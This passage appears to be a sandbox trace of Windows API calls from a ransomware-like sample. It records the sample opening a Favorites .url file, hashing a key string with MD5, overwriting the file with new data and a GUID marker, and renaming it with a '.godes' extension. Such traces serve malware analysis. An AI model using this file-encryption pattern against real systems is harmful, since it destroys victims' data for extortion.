dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.991] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.991] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.991] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.991] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.991] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.991] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.991] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.991] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.991] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.991] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.991] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.991] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.991] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.991] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.991] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.991] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.991] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.991] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.991] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.991] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.991] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.991] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.991] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.991] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.991] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.991] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.991] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.991] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.991] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.991] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.991] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.991] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.991] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.991] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.992] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.992] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.992] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.992] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.992] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.992] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.992] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.992] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.992] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.992] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.992] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.992] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.992] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.992] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.992] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.992] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.992] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.992] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.992] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.992] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.992] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.992] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.992] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.992] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.992] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.992] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.992] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.992] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.992] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.992] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.992] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.992] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.992] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.992] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.992] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.993] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.993] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.993] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.993] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.993] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.993] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.993] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.993] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.993] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.993] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.993] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.993] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="MSN Websites\\" [0113.993] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0113.993] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.993] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.993] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0113.993] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0113.993] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.993] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.993] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0113.993] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0113.993] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0113.993] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0113.993] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.993] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0113.993] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.993] PathFindFileNameW (pszPath="") returned="" [0113.993] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.993] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0113.994] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.994] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.994] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0113.994] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.994] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa6) returned 0x32064b0 [0113.994] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.994] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url") returned=".url" [0113.994] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.995] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=133) returned 1 [0113.995] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.996] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.996] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.997] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.997] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.997] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.997] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x85, lpOverlapped=0x0) returned 1 [0113.997] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.997] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.997] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.997] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.997] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.998] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.998] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.998] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.998] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.998] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.998] GetLastError () returned 0x0 [0113.998] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.998] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.998] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.998] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0113.998] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.999] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.999] WriteFile (in: hFile=0x624, lpBuffer=0x31e3c08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x31e3c08*, lpNumberOfBytesWritten=0x3b2fb24*=0x80, lpOverlapped=0x0) returned 1 [0113.999] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0113.999] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.999] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.999] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.999] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.999] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.999] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.999] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.999] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.999] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.999] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.999] CloseHandle (hObject=0x624) returned 1 [0114.000] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0114.000] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8a0) returned 0x3321120 [0114.000] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0114.000] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url.godes")) returned 1 [0114.000] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.000] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.001] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32064b0 | out: hHeap=0x660000) returned 1 [0114.001] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, 